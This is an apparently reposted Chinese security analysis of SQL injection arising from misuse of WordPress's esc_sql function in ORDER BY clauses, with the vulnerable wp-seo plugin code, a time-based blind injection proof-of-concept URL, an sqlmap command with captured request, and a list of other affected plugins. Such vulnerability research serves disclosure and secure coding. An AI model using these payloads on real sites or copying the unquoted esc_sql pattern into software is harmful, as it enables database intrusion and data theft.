0x00 背景

这篇文章说的不是esc_sql函数自身有什么逻辑上缺陷或者不足，而是说下关于二次开发者错误的使用此函数引起的注入漏洞。

在wordpress手册中关于esc_sql的解释，在以前的版本中，官方并没有说出这个函数有任何问题：

在近期的wordpress手册中说出了这个函数如果错误使用会造成注入漏洞：

0x01 分析

我们再看下esc_sql的实现：

<code>#!php

function esc_sql( $data ) {

global $wpdb;

return $wpdb->_escape( $data );

}

function _escape( $data ) {

if ( is_array( $data ) ) {

foreach ( $data as $k => $v ) {

if ( is_array($v) )

$data[$k] = $this->_escape( $v );

else

$data[$k] = $this->_real_escape( $v );

}

} else {

$data = $this->_real_escape( $data );

}

return $data;

}

function _real_escape( $string ) {

if ( $this->dbh ) {

if ( $this->use_mysqli ) {

return mysqli_real_escape_string( $this->dbh, $string );

} else {

return mysql_real_escape_string( $string, $this->dbh );

}

$class = get_class( $this );

if ( function_exists( '__' ) ) {

_doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), E_USER_NOTICE );

} else {

_doing_it_wrong( $class, sprintf( '%s must set a database connection for use with escaping.', $class ), E_USER_NOTICE );

}

return addslashes( $string );

}

</code>

通过对比上面两个手册和代码我们可以清晰的得出以下几个结论：

1. 99%的情况下你可以使用$wpdb->prepare()函数来做数据库操作（有那些是哪不能的1%呢？order by、like···· ）
1. esc_sql是addslashes()函数的数组应用，但是esc_sql转义数组的时候只转义数组值。
1. esc_sql并没有对输入数据自动加引号保护

由于老版本手册的说明不严谨问题，在很多二次开发者使用esc_sql函数的时候出现了注入漏洞。

wp-seo插件注入漏洞

在文件admin/class-bulk-editor-list-table.php中：

<code>#!php

protected function parse_item_query( $subquery, $all_states, $post_type_clause ) {

// Order By block

$orderby = ! empty( $_GET['orderby'] ) ? esc_sql( sanitize_text_field( $_GET['orderby'] ) ) : 'post_title';

$order = 'ASC';

if ( ! empty( $_GET['order'] ) ) {

$order = esc_sql( strtoupper( sanitize_text_field( $_GET['order'] ) ) );

}

// Get all needed results

$query = "

SELECT ID, post_title, post_type, post_status, post_modified, post_date

FROM {$subquery}

WHERE post_status IN ({$all_states}) $post_type_clause

ORDER BY {$orderby} {$order}

LIMIT %d,%d

";

return $query;

}

</code>

其中很明显的漏洞出现了，然后就是构造poc：

1 2	`<code>http://192.168.9.102/wordpress/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc` `</code>`

如何使用sqlmap在order by后面延时注入，可以请参考：/tips/?id=5254自写，也可以抓包：

<code>#!bash

python sqlmap.py -r 2.txt --technique=B --dbms=MySQL -D wordpress --tables

GET /wordpress/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=pos$

Host: 192.168.9.102

Proxy-Connection: keep-alive

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=$

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like$

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;q=0.8

Cookie: wordpress_1d5e8f89471a6349f1caf2e6b8aa4232=admin%7C1426827482%7CjKzM166$...

</code>

出现这样漏洞的插件还有：

<code>WooCommerce 2.3 – 2.3.5

Pods 1.10 <= 2.5.1.1

AffiliateWP < 1.5.7

WP All Import < 4.1.2

Gravity Forms < 1.9.4

</code>

0x02 总结：

从上面的分析和出现的已知漏洞不难看出，此函数滥用的插件应该不在少数。

本文章来源于乌云知识库，文章版权归乌云知识库！

分析WordPress中esc_sql函数引起的注入危害

0x00 背景

0x01 分析

0x02 总结：